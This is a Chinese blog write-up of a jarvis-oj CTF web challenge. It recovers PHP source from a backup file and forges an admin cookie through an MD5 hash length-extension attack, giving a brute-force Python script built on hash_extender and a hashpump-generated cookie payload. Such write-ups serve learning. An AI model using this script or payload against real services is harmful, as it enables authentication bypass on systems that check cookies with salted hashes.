hash长度扩展攻击

hash长度扩展攻击探索

这几天在jarvis-oj平台看见了一个有关于hash长度扩展攻击的题,第一次见,来研究下。题目名:flag在管理员中
一、
首先打开网页,习惯性的查看源代码,啥都没有,猜测可能有源代码泄露
所以我们用脚本来扫一下
e6924e2b2ae282240b5839b32b2df168.png
我们打开第一个
有:
下载得到文件
index.php~

这个其实是php的备份恢复文件,拿到lunix下,重命名为index.php.swp ,使用命令vim -r index.php 即可恢复原来的php文件
得到源码:

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
	body {
		background:gray;
		text-align:center;
	}
</style>
</head>

<body>
	<?php 
		$auth = false;
		$role = "guest";
		$salt = 
		if (isset($_COOKIE["role"])) {
			$role = unserialize($_COOKIE["role"]);
			$hsh = $_COOKIE["hsh"];
			if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
				$auth = true;
			} else {
				$auth = false;
			}
		} else {
			$s = serialize($role);
			setcookie('role',$s);
			$hsh = md5($salt.strrev($s));
			setcookie('hsh',$hsh);
		}
		if ($auth) {
			echo "<h3>Welcome Admin. Your flag is 
		} else {
			echo "<h3>Only Admin can see the flag!!</h3>";
		}
	?>
	
</body>
</html>

我们通过
hash_extender+python来解密
借用大佬脚本


# -*- coding:utf-8 -*-from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body
for i in xrange(1000):
    print i
    # secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break

要在hash_extender下使用此脚本
注意:e4b51539fd0f05c33860c7208db9e5db.png
在做其他题的时候将此处网址改变
运行后得到
9de122d78994f94a06e32f497f37156a.png
其实这个原理我不太同,通过网上其他大佬的解释,我们使用另一种方法
二、
我们先使用bp抓包
5d786b1bb91f830cdd6403a10c0935b0.png
我们的到两个cookies
role 和 hsh 这两个非常重要
我们接下来要做的就是通过bp修改cookie的值来通过验证
我们先来审计一下源码
注意这里:

a31c769a510e1343b4c139027a2e3c83.png
我们想使auth为true
条件是变量为admin
这个好办
如图:
19b2aa1ebf7269f3cd7083b3069cd0cc.png
之后就是后面的那个条件
hash扩展长度攻击是可以通过1.已知的hash值
2.密文的长度,或内容
3.原来的识别数据
我们可以通过使用
hashpump
进行生成新的role与hsh
注意:
1.我们可以通过代码推出原来的cookie【role】
2.注意有序列化,和字符串反向
如图:
63d69f072eec679df2c64dff1087b268.png
别忘了我们将\x换为%

变为

s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b; hsh=fcdc3840332555511c4e4323f6decb07

具体怎么变得有待探讨
emm
修改后就得到了flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值